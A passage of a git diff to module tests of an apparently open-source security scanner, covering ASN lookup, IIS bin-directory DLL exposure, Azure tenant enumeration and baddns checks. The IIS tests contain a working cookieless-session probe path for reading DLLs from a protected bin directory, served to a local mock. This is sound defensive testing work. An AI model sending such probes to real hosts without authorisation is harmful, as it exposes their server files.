-            url="https://api.bgpview.io/ip/8.8.8.8", json=self.response_get_asn_bgpview
-        )
-        module_test.httpx_mock.add_response(
-            url="https://api.bgpview.io/asn/15169", json=self.response_get_emails_bgpview
-        )
-        module_test.module.sources = ["bgpview"]
+    modules_overrides = ["asn", "speculate"]
+    config_overrides = {"scope": {"report_distance": 2}, "speculate": True}
 
     def check(self, module_test, events):
-        assert any(e.type == "ASN" for e in events)
-        assert any(e.type == "EMAIL_ADDRESS" for e in events)
+        asn_events = [e for e in events if e.type == "ASN"]
+        assert asn_events, "No ASN event produced"
+        assert any(isinstance(e.data, dict) and e.data.get("asn", 0) == 15169 for e in asn_events)
 
 
-class TestASNRipe(ModuleTestBase):
-    targets = ["8.8.8.8"]
+class TestASNUnknownHandling(ModuleTestBase):
+    """Test that no ASN events are emitted for private IPs (unknown ASN)."""
+
+    targets = ["192.168.1.1"]
     module_name = "asn"
-    config_overrides = {"scope": {"report_distance": 2}}
-
-    response_get_asn_ripe = {
-        "messages": [],
-        "see_also": [],
-        "version": "1.1",
-        "data_call_name": "network-info",
-        "data_call_status": "supported",
-        "cached": False,
-        "data": {"asns": ["15169"], "prefix": "8.8.8.0/24"},
-        "query_id": "20230217212133-f278ff23-d940-4634-8115-a64dee06997b",
-        "process_time": 5,
-        "server_id": "app139",
-        "build_version": "live.2023.2.1.142",
-        "status": "ok",
-        "status_code": 200,
-        "time": "2023-02-17T21:21:33.428469",
-    }
-    response_get_asn_metadata_ripe = {
-        "messages": [],
-        "see_also": [],
-        "version": "4.1",
-        "data_call_name": "whois",
-        "data_call_status": "supported - connecting to ursa",
-        "cached": False,
-        "data": {
-            "records": [
-                [
-                    {"key": "ASNumber", "value": "15169", "details_link": None},
-                    {"key": "ASName", "value": "GOOGLE", "details_link": None},
-                    {"key": "ASHandle", "value": "15169", "details_link": "https://stat.ripe.net/AS15169"},
-                    {"key": "RegDate", "value": "2000-03-30", "details_link": None},
-                    {
-                        "key": "Ref",
-                        "value": "https://rdap.arin.net/registry/autnum/15169",
-                        "details_link": "https://rdap.arin.net/registry/autnum/15169",
-                    },
-                    {"key": "source", "value": "ARIN", "details_link": None},
-                ],
-                [
-                    {"key": "OrgAbuseHandle", "value": "ABUSE5250-ARIN", "details_link": None},
-                    {"key": "OrgAbuseName", "value": "Abuse", "details_link": None},
-                    {"key": "OrgAbusePhone", "value": "+1-650-253-0000", "details_link": None},
-                    {
-                        "key": "OrgAbuseEmail",
-                        "value": "network-abuse@google.com",
-                        "details_link": "mailto:network-abuse@google.com",
-                    },
-                    {
-                        "key": "OrgAbuseRef",
-                        "value": "https://rdap.arin.net/registry/entity/ABUSE5250-ARIN",
-                        "details_link": "https://rdap.arin.net/registry/entity/ABUSE5250-ARIN",
-                    },
-                    {"key": "source", "value": "ARIN", "details_link": None},
-                ],
-                [
-                    {"key": "OrgName", "value": "Google LLC", "details_link": None},
-                    {"key": "OrgId", "value": "GOGL", "details_link": None},
-                    {"key": "Address", "value": "1600 Amphitheatre Parkway", "details_link": None},
-                    {"key": "City", "value": "Mountain View", "details_link": None},
-                    {"key": "StateProv", "value": "CA", "details_link": None},
-                    {"key": "PostalCode", "value": "94043", "details_link": None},
-                    {"key": "Country", "value": "US", "details_link": None},
-                    {"key": "RegDate", "value": "2000-03-30", "details_link": None},
-                    {
-                        "key": "Comment",
-                        "value": "Please note that the recommended way to file abuse complaints are located in the following links.",
-                        "details_link": None,
-                    },
-                    {
-                        "key": "Comment",
-                        "value": "To report abuse and illegal activity: https://www.google.com/contact/",
-                        "details_link": None,
-                    },
-                    {
-                        "key": "Comment",
-                        "value": "For legal requests: http://support.google.com/legal",
-                        "details_link": None,
-                    },
-                    {"key": "Comment", "value": "Regards,", "details_link": None},
-                    {"key": "Comment", "value": "The Google Team", "details_link": None},
-                    {
-                        "key": "Ref",
-                        "value": "https://rdap.arin.net/registry/entity/GOGL",
-                        "details_link": "https://rdap.arin.net/registry/entity/GOGL",
-                    },
-                    {"key": "source", "value": "ARIN", "details_link": None},
-                ],
-                [
-                    {"key": "OrgTechHandle", "value": "ZG39-ARIN", "details_link": None},
-                    {"key": "OrgTechName", "value": "Google LLC", "details_link": None},
-                    {"key": "OrgTechPhone", "value": "+1-650-253-0000", "details_link": None},
-                    {
-                        "key": "OrgTechEmail",
-                        "value": "arin-contact@google.com",
-                        "details_link": "mailto:arin-contact@google.com",
-                    },
-                    {
-                        "key": "OrgTechRef",
-                        "value": "https://rdap.arin.net/registry/entity/ZG39-ARIN",
-                        "details_link": "https://rdap.arin.net/registry/entity/ZG39-ARIN",
-                    },
-                    {"key": "source", "value": "ARIN", "details_link": None},
-                ],
-                [
-                    {"key": "RTechHandle", "value": "ZG39-ARIN", "details_link": None},
-                    {"key": "RTechName", "value": "Google LLC", "details_link": None},
-                    {"key": "RTechPhone", "value": "+1-650-253-0000", "details_link": None},
-                    {"key": "RTechEmail", "value": "arin-contact@google.com", "details_link": None},
-                    {
-                        "key": "RTechRef",
-                        "value": "https://rdap.arin.net/registry/entity/ZG39-ARIN",
-                        "details_link": None,
-                    },
-                    {"key": "source", "value": "ARIN", "details_link": None},
-                ],
-            ],
-            "irr_records": [],
-            "authorities": ["arin"],
-            "resource": "15169",
-            "query_time": "2023-02-17T21:25:00",
-        },
-        "query_id": "20230217212529-75f57efd-59f4-473f-8bdd-803062e94290",
-        "process_time": 268,
-        "server_id": "app143",
-        "build_version": "live.2023.2.1.142",
-        "status": "ok",
-        "status_code": 200,
-        "time": "2023-02-17T21:25:29.417812",
-    }
-
-    async def setup_after_prep(self, module_test):
-        module_test.httpx_mock.add_response(
-            url="https://stat.ripe.net/data/network-info/data.json?resource=8.8.8.8",
-            json=self.response_get_asn_ripe,
-        )
-        module_test.httpx_mock.add_response(
-            url="https://stat.ripe.net/data/whois/data.json?resource=15169",
-            json=self.response_get_asn_metadata_ripe,
+    modules_overrides = ["asn", "speculate"]
+    config_overrides = {"scope": {"report_distance": 2}, "speculate": True}
+
+    def check(self, module_test, events):
+        asn_events = [e for e in events if e.type == "ASN"]
+        assert not asn_events, (
+            f"Should not emit any ASN events for private IP, but found: {[e.data for e in asn_events]}"
         )
-        module_test.module.sources = ["ripe"]
+
+
+class TestASNCGNATFiltered(ModuleTestBase):
+    """CGNAT space (100.64.0.0/10) is not globally routable and has no public ASN, so it must be
+    filtered out before any lookup (is_global check, not just is_private)."""
+
+    targets = ["100.64.0.1"]
+    module_name = "asn"
+    modules_overrides = ["asn", "speculate"]
+    config_overrides = {"scope": {"report_distance": 2}, "speculate": True}
 
     def check(self, module_test, events):
-        assert any(e.type == "ASN" for e in events)
-        assert any(e.type == "EMAIL_ADDRESS" for e in events)
+        asn_events = [e for e in events if e.type == "ASN"]
+        assert not asn_events, (
+            f"Should not emit any ASN events for CGNAT IP, but found: {[e.data for e in asn_events]}"
+        )
+
+
+class TestASNReportNoNetwork(ModuleTestBase):
+    """Regression: report() uses metadata stored during handle_event() with zero network calls."""
+
+    targets = ["8.8.8.8"]
+    module_name = "asn"
+    modules_overrides = ["asn", "speculate"]
+    config_overrides = {"scope": {"report_distance": 2}, "speculate": True}
+
+    async def check(self, module_test, events):
+        asn_events = [e for e in events if e.type == "ASN"]
+        assert asn_events, "No ASN event produced"
+
+        asn_module = module_test.scan.modules["asn"]
+
+        # handle_event() should have stored metadata for report()
+        assert asn_module.asn_metadata, "asn_metadata is empty after scan"
+        for asn_number, metadata in asn_module.asn_metadata.items():
+            assert isinstance(asn_number, int), f"asn_metadata key {asn_number!r} should be int"
+            assert metadata["subnet_count"] > 0
+            assert metadata["name"]
+            assert metadata["description"]
+
+        # report() should not touch the network at all
+        asn_helper = module_test.scan.helpers.asn
+        with patch.object(asn_helper.client, "request", new_callable=AsyncMock) as mock_request:
+            await asn_module.report()
+            mock_request.assert_not_called()
+
+        # Verify the report table was emitted via logging
+        log_text = "\n".join(r.message for r in module_test.caplog.records)
+        for asn_number in asn_module.asn_metadata:
+            assert f"AS{asn_number}" in log_text, f"AS{asn_number} not found in report log output"
diff --git a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py
index ca14ff7d03..2af603865f 100644
--- a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py
+++ b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py
@@ -3,44 +3,76 @@
 
 
 class TestAspnetBinExposure(ModuleTestBase):
+    """Only technique 1 is vulnerable; technique 2 returns 404.
+
+    A tracker mis-correlation would either build the confirm URL from the
+    wrong technique pattern (hitting the 404 fallback) or attribute technique
+    2's 404 result to technique 1 (skipping detection). Either way the
+    assertion on the Detection Url pattern would fail.
+    """
+
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "aspnet_bin_exposure"]
-    config_overrides = {
-        "modules": {
-            "aspnet_bin_exposure": {
-                "test_dlls": [
-                    "Newtonsoft.Json.dll",
-                ]
-            }
-        }
-    }
+    modules_overrides = ["http", "aspnet_bin_exposure"]
 
     async def setup_before_prep(self, module_test):
-        # Simulate successful DLL exposure
-        expect_args = {
-            "method": "GET",
-            "uri": "/b/(S(X))in/Newtonsoft.Json.dll/(S(X))/",
-        }
-        respond_args = {
-            "status": 200,
-            "headers": {"content-type": "application/x-msdownload"},
-            "response_data": b"MZ\x90\x00\x03\x00\x00\x00",
-        }
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+        # Technique 1: vulnerable (200 + DLL content-type)
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/b/(S(X))in/Newtonsoft.Json.dll/(S(X))/"},
+            respond_args={
+                "status": 200,
+                "headers": {"content-type": "application/x-msdownload"},
+                "response_data": b"MZ\x90\x00\x03\x00\x00\x00",
+            },
+        )
 
-        # Simulate failed DLL exposure (confirmation test)
-        expect_args = {
-            "method": "GET",
-            "uri": "/b/(S(X))in/oopsnotarealdll.dll/(S(X))/",
-        }
+        # Technique 1: confirm (fake DLL -> 404 = genuine vulnerability)
+        module_test.set_expect_requests(
+            expect_args={"method": "GET", "uri": "/b/(S(X))in/oopsnotarealdll.dll/(S(X))/"},
+            respond_args={"status": 404},
+        )
+
+        # Everything else (technique 2 probes, other DLLs) -> 404
+        module_test.set_expect_requests(
+            expect_args={"uri": re.compile(r"^/.*$")},
+            respond_args={"status": 404},
+        )
+
+    def check(self, module_test, events):
+        findings = [
+            e for e in events if e.type == "FINDING" and "IIS Bin Directory DLL Exposure" in e.data["description"]
+        ]
+        assert len(findings) == 1, f"Expected exactly 1 finding, got {len(findings)}"
+        finding = findings[0]
+        assert finding.data["severity"] == "HIGH"
+        assert "b/(S(X))in/" in finding.data["description"], (
+            f"Detection Url should use technique 1 pattern, got: {finding.data['description']}"
+        )
+
+
+class TestAspnetBinExposure_DeadHost(ModuleTestBase):
+    """Dead host returns 404 for everything -- no FINDING should be emitted."""
+
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "aspnet_bin_exposure"]
+
+    async def setup_before_prep(self, module_test):
+        expect_args = {"uri": re.compile(r"^/.*$")}
         respond_args = {"status": 404}
         module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
 
-        # Simulate alternative technique
-        expect_args = {
-            "method": "GET",
-            "uri": "/(S(X))/b/(S(X))in/Newtonsoft.Json.dll",
-        }
+    def check(self, module_test, events):
+        findings = [e for e in events if e.type == "FINDING"]
+        assert len(findings) == 0, f"Dead host should not produce findings, got: {findings}"
+
+
+class TestAspnetBinExposure_FalsePositive(ModuleTestBase):
+    """Host serves DLLs for everything (including the fake DLL) -- no FINDING should be emitted."""
+
+    targets = ["http://127.0.0.1:8888"]
+    modules_overrides = ["http", "aspnet_bin_exposure"]
+
+    async def setup_before_prep(self, module_test):
+        expect_args = {"uri": re.compile(r"^/.*$")}
         respond_args = {
             "status": 200,
             "headers": {"content-type": "application/x-msdownload"},
@@ -48,26 +80,8 @@ async def setup_before_prep(self, module_test):
         }
         module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
 
-        # Simulate failed alternative technique (confirmation test)
-        expect_args = {
-            "method": "GET",
-            "uri": "/(S(X))/b/(S(X))in/oopsnotarealdll.dll",
-        }
-        respond_args = {"status": 404}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-        # Fallback for any other requests
-        expect_args = {"uri": re.compile(r"^/.*$")}
-        respond_args = {"status": 404}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
     def check(self, module_test, events):
-        vulnerability_found = False
-        for e in events:
-            if e.type == "VULNERABILITY" and "IIS Bin Directory DLL Exposure" in e.data["description"]:
-                vulnerability_found = True
-                assert e.data["severity"] == "HIGH", "Vulnerability severity should be HIGH"
-                assert "Detection Url" in e.data["description"], "Description should include detection URL"
-                break
-
-        assert vulnerability_found, "No vulnerability event was found"
+        findings = [e for e in events if e.type == "FINDING"]
+        assert len(findings) == 0, (
+            f"Host that serves DLLs for everything (including fake DLL) should not produce findings, got: {findings}"
+        )
diff --git a/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py b/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py
index 5cb2f36033..39aca71341 100644
--- a/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py
+++ b/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py
@@ -9,7 +9,7 @@ class TestAsset_Inventory(ModuleTestBase):
 
     masscan_output = """{   "ip": "127.0.0.1",   "timestamp": "1680197558", "ports": [ {"port": 9999, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 54} ] }"""
 
-    async def setup_before_prep(self, module_test):
+    async def setup_after_prep(self, module_test):
         async def run_masscan(command, *args, **kwargs):
             if "masscan" in command[:2]:
                 targets = open(command[11]).read().splitlines()
diff --git a/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py b/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py
index ee15d1a6dd..419f15aa3a 100644
--- a/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py
+++ b/bbot/test/test_step_2/module_tests/test_module_azure_tenant.py
@@ -1,7 +1,111 @@
 from .base import ModuleTestBase
 
 
-class TestAzure_Tenant(ModuleTestBase):
+class AzureTenantTestBase(ModuleTestBase):
+    """Base class for Azure Tenant tests with common setup"""
+
+    modules = ["azure_tenant"]
+    targets = ["blacklanternsecurity.com"]
+
+    # Override these in subclasses to customize behavior
+    include_onmicrosoft = False
+    desktop_sso_enabled = False
+    certificate_auth_enabled = False
+    cloud_type = None  # None, "dod", "gcc-high"
+    federation_url = None
+    exchange_online = False
+    directory_sync_enabled = False
+
+    async def setup_after_prep(self, module_test):
+        # Build email domains
+        email_domains = ["blacklanternsecurity.com"]
+        if self.include_onmicrosoft:
+            email_domains.append("blacklanternsecurity.onmicrosoft.com")
+
+        # Mock azmap.dev response
+        module_test.blasthttp_mock.add_response(
+            url="https://azmap.dev/api/tenant?domain=blacklanternsecurity.com&extract=true",
+            json={
+                "tenant_id": "test-tenant-id",
+                "tenant_name": "blacklanternsecurity",
+                "email_domains": email_domains,
+            },
+        )
+
+        # Mock ODC endpoint
+        module_test.blasthttp_mock.add_response(
+            url="https://odc.officeapps.live.com/odc/v2.1/federationprovider?domain=blacklanternsecurity.com",
+            json={},
+        )
+
+        # Mock OpenID configuration
+        openid_config = {}
+        if self.cloud_type == "dod":
+            openid_config = {
+                "tenant_region_scope": "DOD",
+                "tenant_region_sub_scope": "DOD",
+                "cloud_instance_name": "login.microsoftonline.us",
+            }
+        elif self.cloud_type == "gcc-high":
+            openid_config = {
+                "tenant_region_scope": "DODCON",
+                "tenant_region_sub_scope": "DODCON",
+                "cloud_instance_name": "login.microsoftonline.us",
+            }
+
+        module_test.blasthttp_mock.add_response(
+            url="https://login.microsoftonline.com/blacklanternsecurity.com/.well-known/openid-configuration",
+            json=openid_config,
+        )
+
+        # Mock GetCredentialType
+        getcred_response = {"EstsProperties": {}, "Credentials": {}}
+        if self.desktop_sso_enabled:
+            getcred_response["EstsProperties"]["DesktopSsoEnabled"] = True
+        if self.certificate_auth_enabled:
+            getcred_response["Credentials"]["HasCertAuth"] = True
+        if self.federation_url:
+            getcred_response["Credentials"]["FederationRedirectUrl"] = self.federation_url
+
+        module_test.blasthttp_mock.add_response(
+            url="https://login.microsoftonline.com/common/GetCredentialType",
+            method="POST",
+            json=getcred_response,
+        )
+
+        # Mock UserRealm v2.0
+        module_test.blasthttp_mock.add_response(
+            url="https://login.microsoftonline.com/common/userrealm/test@blacklanternsecurity.com?api-version=2.0",
+            json={},
+        )
+
+        # Mock MTA-STS
+        if self.exchange_online:
+            module_test.blasthttp_mock.add_response(
+                url="https://mta-sts.blacklanternsecurity.com/.well-known/mta-sts.txt",
+                text="version: STSv1\nmode: enforce\nmx: blacklanternsecurity-com.mail.protection.outlook.com\nmax_age: 604800",
+            )
+        else:
+            module_test.blasthttp_mock.add_response(
+                url="https://mta-sts.blacklanternsecurity.com/.well-known/mta-sts.txt",
+                status_code=404,
+            )
+
+        # Mock Directory Sync check if needed
+        if self.include_onmicrosoft:
+            sync_result = 0 if self.directory_sync_enabled else 1
+            module_test.blasthttp_mock.add_response(
+                url="https://login.microsoftonline.com/common/GetCredentialType",
+                method="POST",
+                json={"IfExistsResult": sync_result},
+            )
+
+
+class TestAzure_Tenant(AzureTenantTestBase):
+    """Test basic Azure tenant enumeration"""
+
+    include_onmicrosoft = True
+
     tenant_response = {
         "tenant_id": "cc74fc12-4142-400e-a653-f98bdeadbeef",
         "tenant_name": "blacklanternsecurity",
@@ -15,11 +119,46 @@ class TestAzure_Tenant(ModuleTestBase):
     }
 
     async def setup_after_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        # Use custom response for this test
+        module_test.blasthttp_mock.add_response(
             url="https://azmap.dev/api/tenant?domain=blacklanternsecurity.com&extract=true",
             json=self.tenant_response,
         )
 
+        module_test.blasthttp_mock.add_response(
+            url="https://odc.officeapps.live.com/odc/v2.1/federationprovider?domain=blacklanternsecurity.com",
+            json={"TenantId": "cc74fc12-4142-400e-a653-f98bdeadbeef"},
+        )
+
+        module_test.blasthttp_mock.add_response(
+            url="https://login.microsoftonline.com/blacklanternsecurity.com/.well-known/openid-configuration",
+            json={
+                "tenant_region_scope": "NA",
+                "cloud_instance_name": "microsoftonline.com",
+            },
+        )
+
+        module_test.blasthttp_mock.add_response(
+            url="https://login.microsoftonline.com/common/GetCredentialType",
+            json={"EstsProperties": {}, "Credentials": {}},
+        )
+
+        module_test.blasthttp_mock.add_response(
+            url="https://login.microsoftonline.com/common/userrealm/test@blacklanternsecurity.com?api-version=2.0",
+            json={"NameSpaceType": "Managed"},
+        )
+
+        module_test.blasthttp_mock.add_response(
+            url="https://mta-sts.blacklanternsecurity.com/.well-known/mta-sts.txt",
+            status_code=404,
+        )
+
+        # Directory sync check
+        module_test.blasthttp_mock.add_response(
+            url="https://login.microsoftonline.com/common/GetCredentialType",
+            json={"IfExistsResult": 1},
+        )
+
     def check(self, module_test, events):
         assert any(
             e.type.startswith("DNS_NAME")
@@ -34,3 +173,146 @@ def check(self, module_test, events):
             and "blacklanternsecurity" in e.data["tenant-names"]
             for e in events
         )
+
+
+class TestAzure_Tenant_DesktopSSO(AzureTenantTestBase):
+    """Test Desktop SSO detection and FINDING emission"""
+
+    desktop_sso_enabled = True
+
+    def check(self, module_test, events):
+        assert any(e.type == "AZURE_TENANT" and e.data.get("desktop-sso-enabled") is True for e in events), (
+            "AZURE_TENANT should have desktop-sso-enabled=True"
+        )
+
+        assert any(
+            e.type == "FINDING"
+            and e.data.get("name") == "Azure AD Desktop SSO Enabled"
+            and e.data.get("severity") == "INFO"
+            and e.data.get("confidence") == "MEDIUM"
+            and "azure-sso" in e.tags
+            for e in events
+        ), "Should emit Desktop SSO FINDING with correct severity and confidence"
+
+
+class TestAzure_Tenant_CertificateAuth(AzureTenantTestBase):
+    """Test Certificate-Based Authentication detection"""
+
+    certificate_auth_enabled = True
+
+    def check(self, module_test, events):
+        assert any(e.type == "AZURE_TENANT" and e.data.get("certificate-auth-enabled") is True for e in events), (
+            "AZURE_TENANT should have certificate-auth-enabled=True"
+        )
+
+        assert any(
+            e.type == "FINDING"
+            and e.data.get("name") == "Certificate-Based Authentication Enabled"
+            and e.data.get("severity") == "INFO"
+            and e.data.get("confidence") == "HIGH"
+            and "azure-cba" in e.tags
+            for e in events
+        ), "Should emit Certificate Auth FINDING with correct severity and confidence"
+
+
+class TestAzure_Tenant_GovCloud(AzureTenantTestBase):
+    """Test Government Cloud detection (DoD)"""
+
+    cloud_type = "dod"
+
+    def check(self, module_test, events):
+        assert any(e.type == "AZURE_TENANT" and e.data.get("cloud-type") == "dod" for e in events), (
+            "AZURE_TENANT should have cloud-type=dod"
+        )
+
+        assert any(
+            e.type == "FINDING"
+            and e.data.get("name") == "Azure Government Cloud Tenant"
+            and e.data.get("severity") == "INFO"
+            and e.data.get("confidence") == "HIGH"
+            and "azure-gov-cloud" in e.tags
+            for e in events
+        ), "Should emit Government Cloud FINDING with HIGH severity"
+
+
+class TestAzure_Tenant_GCCHigh(AzureTenantTestBase):
+    """Test GCC High Government Cloud detection"""
+
+    cloud_type = "gcc-high"
+
+    def check(self, module_test, events):
+        assert any(e.type == "AZURE_TENANT" and e.data.get("cloud-type") == "gcc-high" for e in events), (
+            "AZURE_TENANT should have cloud-type=gcc-high"
+        )
+
+        assert any(
+            e.type == "FINDING"
+            and e.data.get("name") == "Azure Government Cloud Tenant"
+            and "gcc-high" in e.data.get("description", "")
+            and "azure-gov-cloud" in e.tags
+            for e in events
+        ), "Should emit Government Cloud FINDING for GCC High"
+
+
+class TestAzure_Tenant_DirectorySync(AzureTenantTestBase):
+    """Test Directory Synchronization detection"""
+
+    include_onmicrosoft = True
+    directory_sync_enabled = True
+
+    def check(self, module_test, events):
+        assert any(e.type == "AZURE_TENANT" and e.data.get("directory-sync-enabled") is True for e in events), (
+            "AZURE_TENANT should have directory-sync-enabled=True"
+        )
+
+        assert any(
+            e.type == "FINDING"
+            and e.data.get("name") == "Directory Synchronization Enabled"
+            and e.data.get("severity") == "INFO"
+            and e.data.get("confidence") == "HIGH"
+            and "azure-dir-sync" in e.tags
+            for e in events
+        ), "Should emit Directory Sync FINDING"
+
+
+class TestAzure_Tenant_FederatedAuth(AzureTenantTestBase):
+    """Test Federated Authentication detection"""
+
+    federation_url = "https://authfs.example.com/adfs/ls/?username=test%40blacklanternsecurity.com"
+
+    def check(self, module_test, events):
+        assert any(
+            e.type == "AZURE_TENANT" and e.data.get("federation-redirect-url") == self.federation_url for e in events
+        ), "AZURE_TENANT should have federation-redirect-url"
+
+        assert any(
+            e.type == "FINDING"
+            and e.data.get("name") == "Federated Authentication Detected"
+            and e.data.get("severity") == "INFO"
+            and e.data.get("confidence") == "HIGH"
+            and e.data.get("full_url") == self.federation_url  # full_url preserves query string
+            and e.data.get("url") == "https://authfs.example.com/adfs/ls/"  # url is cleaned
+            and "azure-federated" in e.tags
+            for e in events
+        ), "Should emit Federated Auth FINDING with INFO severity"
+
+        # URL_UNVERIFIED also gets cleaned (query string removed)
+        assert any(
+            e.type == "URL_UNVERIFIED" and e.url == "https://authfs.example.com/adfs/ls/" and "ms-auth-url" in e.tags
+            for e in events
+        ), "Should emit URL_UNVERIFIED for federation URL"
+
+
+class TestAzure_Tenant_ExchangeOnline(AzureTenantTestBase):
+    """Test Exchange Online detection via MTA-STS"""
+
+    exchange_online = True
+
+    def check(self, module_test, events):
+        assert any(e.type == "AZURE_TENANT" and e.data.get("exchange-online") is True for e in events), (
+            "AZURE_TENANT should have exchange-online=True"
+        )
+
+        assert any(e.type == "AZURE_TENANT" and e.data.get("mta-sts-mode") == "enforce" for e in events), (
+            "AZURE_TENANT should have mta-sts-mode"
+        )
diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns.py b/bbot/test/test_step_2/module_tests/test_module_baddns.py
index 877e973b2b..ecda4f8824 100644
--- a/bbot/test/test_step_2/module_tests/test_module_baddns.py
+++ b/bbot/test/test_step_2/module_tests/test_module_baddns.py
@@ -1,6 +1,152 @@
+import ast
+import inspect
+
+from baddns.base import get_all_modules
+from baddns.lib.findings import SEVERITY_LEVELS, CONFIDENCE_LEVELS
+
+from bbot.modules.baddns import SUBMODULE_MAX_SEVERITY, SUBMODULE_MAX_CONFIDENCE
+
 from .base import ModuleTestBase
 
 
+def _extract_finding_values(module_cls):
+    """
+    AST-parse a baddns submodule and extract all string-literal severity
+    and confidence values from Finding() constructor calls.
+
+    Returns (set of severity strings, set of confidence strings).
+    """
+    # Parse the whole source file rather than inspect.getsource(cls): the
+    # latter relies on linecache heuristics that can mis-anchor on Python
+    # 3.13+ and return a partial/indented fragment that fails to parse.
+    # Each baddns submodule is one class per file, so this is equivalent.
+    source_file = inspect.getsourcefile(module_cls)
+    with open(source_file) as f:
+        source = f.read()
+    tree = ast.parse(source)
+
+    severities = set()
+    confidences = set()
+
+    for node in ast.walk(tree):
+        # Look for Finding({...}) calls
+        if not isinstance(node, ast.Call):
+            continue
+        func = node.func
+        if not (isinstance(func, ast.Name) and func.id == "Finding"):
+            continue
+        if not node.args:
+            continue
+        arg = node.args[0]
+        if not isinstance(arg, ast.Dict):
+            continue
+        for key, value in zip(arg.keys, arg.values):
+            if not isinstance(key, ast.Constant):
+                continue
+            if key.value == "severity" and isinstance(value, ast.Constant) and isinstance(value.value, str):
+                severities.add(value.value)
+            if key.value == "confidence" and isinstance(value, ast.Constant) and isinstance(value.value, str):
+                confidences.add(value.value)
+
+    return severities, confidences
+
+
+def _max_level(values, levels):
+    """Return the highest value from `values` according to the ordering in `levels`."""
+    if not values:
+        return None
+    # levels is ordered high-to-low in baddns (CRITICAL, HIGH, MEDIUM, LOW, INFO)
+    for level in levels:
+        if level in values:
+            return level
+    return None
+
+
+# Modules that wrap CNAME findings and may use variables for severity/confidence.
+# When a field uses a variable instead of a literal, its max is bounded by
+# CNAME's max for that field.
+CNAME_DERIVED_MODULES = {"references", "txt", "wildcard", "mtasts"}
+
+
+def test_baddns_max_severity_confidence():
+    """
+    Ensure SUBMODULE_MAX_SEVERITY and SUBMODULE_MAX_CONFIDENCE in the BBOT
+    baddns module match what the baddns library's source code actually contains.
+    """
+    all_modules = {cls.name: cls for cls in get_all_modules()}
+
+    # First, compute CNAME's maxes since other modules derive from it
+    cname_cls = all_modules.get("CNAME")
+    assert cname_cls is not None, "CNAME module not found in baddns"
+    cname_sevs, cname_confs = _extract_finding_values(cname_cls)
+    cname_max_sev = _max_level(cname_sevs, SEVERITY_LEVELS)
+    cname_max_conf = _max_level(cname_confs, CONFIDENCE_LEVELS)
+
+    errors = []
+
+    for name, cls in all_modules.items():
+        sevs, confs = _extract_finding_values(cls)
+
+        # For CNAME-derived modules, if no literal severity/confidence was found,
+        # the values are inherited from CNAME findings
+        if (
+            name.lower() in CNAME_DERIVED_MODULES
+            or cls.__name__.lower().replace("baddns_", "") in CNAME_DERIVED_MODULES
+        ):
+            if not sevs and cname_max_sev:
+                sevs = {cname_max_sev}
+            if not confs and cname_max_conf:
+                confs = {cname_max_conf}
+
+        actual_max_sev = _max_level(sevs, SEVERITY_LEVELS)
+        actual_max_conf = _max_level(confs, CONFIDENCE_LEVELS)
+
+        expected_sev = SUBMODULE_MAX_SEVERITY.get(name)
+        expected_conf = SUBMODULE_MAX_CONFIDENCE.get(name)
+
+        if expected_sev is None and expected_conf is None:
+            errors.append(f"Module [{name}] is missing from both SUBMODULE_MAX_SEVERITY and SUBMODULE_MAX_CONFIDENCE")
+            continue
+
+        if expected_sev != actual_max_sev:
+            errors.append(
+                f"Module [{name}] max_severity mismatch: BBOT says {expected_sev}, baddns source says {actual_max_sev}"
+            )
+        if expected_conf != actual_max_conf:
+            errors.append(
+                f"Module [{name}] max_confidence mismatch: BBOT says {expected_conf}, baddns source says {actual_max_conf}"
+            )
+
+    assert not errors, "BBOT baddns max severity/confidence out of sync with baddns library:\n" + "\n".join(errors)
+
+
+def test_baddns_submodule_coverage():
+    """
+    Ensure every baddns submodule is represented in both SUBMODULE_MAX dicts,
+    and no stale entries exist for modules that were removed.
+    """
+    all_module_names = {cls.name for cls in get_all_modules()}
+    severity_names = set(SUBMODULE_MAX_SEVERITY.keys())
+    confidence_names = set(SUBMODULE_MAX_CONFIDENCE.keys())
+
+    missing_severity = all_module_names - severity_names
+    missing_confidence = all_module_names - confidence_names
+    stale_severity = severity_names - all_module_names
+    stale_confidence = confidence_names - all_module_names
+
+    errors = []
+    if missing_severity:
+        errors.append(f"Modules missing from SUBMODULE_MAX_SEVERITY: {missing_severity}")
+    if missing_confidence:
+        errors.append(f"Modules missing from SUBMODULE_MAX_CONFIDENCE: {missing_confidence}")
+    if stale_severity:
+        errors.append(f"Stale entries in SUBMODULE_MAX_SEVERITY (module removed from baddns): {stale_severity}")
+    if stale_confidence:
+        errors.append(f"Stale entries in SUBMODULE_MAX_CONFIDENCE (module removed from baddns): {stale_confidence}")
+
+    assert not errors, "\n".join(errors)
+
+
 class BaseTestBaddns(ModuleTestBase):
     modules_overrides = ["baddns"]
     targets = ["bad.dns"]
@@ -32,7 +178,7 @@ async def setup_after_prep(self, module_test):
 
     def check(self, module_test, events):
         assert any(e.data == "baddns.azurewebsites.net" for e in events), "CNAME detection failed"
-        assert any(e.type == "VULNERABILITY" for e in events), "Failed to emit VULNERABILITY"
+        assert any(e.type == "FINDING" for e in events), "Failed to emit FINDING"
         assert any("baddns-cname" in e.tags for e in events), "Failed to add baddns tag"
 
 
@@ -61,7 +207,7 @@ def set_target(self, target):
 
     def check(self, module_test, events):
         assert any(e for e in events)
